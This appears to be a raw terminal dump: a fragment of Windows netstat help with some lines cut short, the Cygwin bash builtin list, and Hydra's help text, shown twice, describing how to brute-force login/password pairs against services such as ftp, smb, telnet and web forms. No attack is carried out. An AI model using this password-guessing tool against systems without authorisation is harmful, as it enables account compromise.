-e Displays Ethernet statistics. This may be combined with the -s


-f Displays Fully Qualified Domain Names (FQDN) for foreign


-n Displays addresses and port numbers in numerical form.

-o Displays the owning process ID associated with each connection.

-p proto Shows connections for the protocol specified by proto; proto

may be any of: TCP, UDP, TCPv6, or UDPv6. If used with the -s

option to display per-protocol statistics, proto may be any of:

IP, IPv6, ICMP, ICMPv6, TCP, TCPv6, UDP, or UDPv6.

-r Displays the routing table.

-s Displays per-protocol statistics. By default, statistics are

shown for IP, IPv6, ICMP, ICMPv6, TCP, TCPv6, UDP, and UDPv6;

the -p option may be used to specify a subset of the default.

-t Displays the current connection offload state.

-x Displays NetworkDirect connections, listeners, and shared


-y Displays the TCP connection template for all connections.

Cannot be combined with the other options.

interval Redisplays selected statistics, pausing interval seconds

between each display. Press CTRL+C to stop redisplaying

statistics. If omitted, netstat will print the current

configuration information once.

\\cygwin commands

Emanuel@magnetoLab ~

$ help

GNU bash, version 4.1.11(2)-release (x86_64-unknown-cygwin)

These shell commands are defined internally. Type `help’ to see this list.

Type `help name’ to find out more about the function `name’.

Use `info bash’ to find out more about the shell in general.

Use `man -k’ or `info’ to find out more about commands not in this list.

A star (*) next to a name means that the command is disabled.

job_spec [&] history [-c] [-d offset] [n] or hist>

(( expression )) if COMMANDS; then COMMANDS; [ elif C>

. filename [arguments] jobs [-lnprs] [jobspec …] or jobs >

: kill [-s sigspec | -n signum | -sigs>

[ arg… ] let arg [arg …]

[[ expression ]] local [option] name[=value] …

alias [-p] [name[=value] … ] logout [n]

bg [job_spec …] mapfile [-n count] [-O origin] [-s c>

bind [-lpvsPVS] [-m keymap] [-f filen> popd [-n] [+N | -N]

break [n] printf [-v var] format [arguments]

builtin [shell-builtin [arg …]] pushd [-n] [+N | -N | dir]

caller [expr] pwd [-LP]

case WORD in [PATTERN [| PATTERN]…)> read [-ers] [-a array] [-d delim] [->

cd [-L|-P] [dir] readarray [-n count] [-O origin] [-s>

command [-pVv] command [arg …] readonly [-af] [name[=value] …] or>

compgen [-abcdefgjksuv] [-o option] > return [n]

complete [-abcdefgjksuv] [-pr] [-DE] > select NAME [in WORDS … ;] do COMM>

compopt [-o|+o option] [-DE] [name ..> set [–abefhkmnptuvxBCHP] [-o option>

continue [n] shift [n]

coproc [NAME] command [redirections] shopt [-pqsu] [-o] [optname …]

declare [-aAfFilrtux] [-p] [name[=val> source filename [arguments]

dirs [-clpv] [+N] [-N] suspend [-f]

disown [-h] [-ar] [jobspec …] test [expr]

echo [-neE] [arg …] time [-p] pipeline

enable [-a] [-dnps] [-f filename] [na> times

eval [arg …] trap [-lp] [[arg] signal_spec …]

exec [-cl] [-a name] [command [argume> true

exit [n] type [-afptP] name [name …]

export [-fn] [name[=value] …] or ex> typeset [-aAfFilrtux] [-p] name[=val>

false ulimit [-SHacdefilmnpqrstuvx] [limit>

fc [-e ename] [-lnr] [first] [last] o> umask [-p] [-S] [mode]

fg [job_spec] unalias [-a] name [name …]

for NAME [in WORDS … ] ; do COMMAND> unset [-f] [-v] [name …]

for (( exp1; exp2; exp3 )); do COMMAN> until COMMANDS; do COMMANDS; done

function name { COMMANDS ; } or name > variables – Names and meanings of so>

getopts optstring name [arg] wait [id]

hash [-lr] [-p pathname] [-dt] [name > while COMMANDS; do COMMANDS; done

help [-dms] [pattern …] { COMMANDS ; }


Emanuel@magnetoLab ~

$ hydra

Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak – for legal purposes only

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]]


-l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE

-p PASS  or -P FILE  try password PASS, or load several passwords from FILE

-C FILE   colon separated “login:pass” format, instead of -L/-P options

-M FILE   list of servers to be attacked in parallel, one entry per line

-t TASKS  run TASKS number of connects in parallel (per host, default: 16)

-U        service module usage details

-h        more command line options (complete help)

server    the target server (use either this OR the -M option)

 service   the service to crack (see below for supported protocols)

OPT       some service modules support additional input (-U for module help)

Supported services: asterisk cisco cisco-enable cvs ftp http-{head|get} http-{get|post}-form http-proxy http-proxy-urlenum icq imap irc ldap2 ldap3[s] mssql mysql(v4) nntp pcanywhere pcnfs pop3 rexec rlogin rsh smb smtp smtp-enum snmp socks5 teamspeak telnet vmauthd vnc xmpp

Hydra is a tool to guess/crack valid login/password pairs – usage only allowed

for legal purposes. This tool is licensed under AGPL v3.0.

The newest version is always available at


Example:  hydra -l user -P passlist.txt

Emanuel@magnetoLab ~

$ hydra -l

Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak – for legal purposes only

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]]


-l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE

-p PASS  or -P FILE  try password PASS, or load several passwords from FILE

-C FILE   colon separated “login:pass” format, instead of -L/-P options

-M FILE   list of servers to be attacked in parallel, one entry per line

-t TASKS  run TASKS number of connects in parallel (per host, default: 16)

-U        service module usage details

  -h        more command line options (complete help)

server    the target server (use either this OR the -M option)

service   the service to crack (see below for supported protocols)

OPT       some service modules support additional input (-U for module help)

Supported services: asterisk cisco cisco-enable cvs ftp http-{head|get} http-{get|post}-form http-proxy http-proxy-urlenum icq imap irc ldap2 ldap3[s] mssql mysql(v4) nntp pcanywhere pcnfs pop3 rexec rlogin rsh smb smtp smtp-enum snmp socks5 teamspeak telnet vmauthd vnc xmpp

Hydra is a tool to guess/crack valid login/password pairs – usage only allowed

for legal purposes. This tool is licensed under AGPL v3.0.

The newest version is always available at

Example:  hydra -l user -P passlist.txt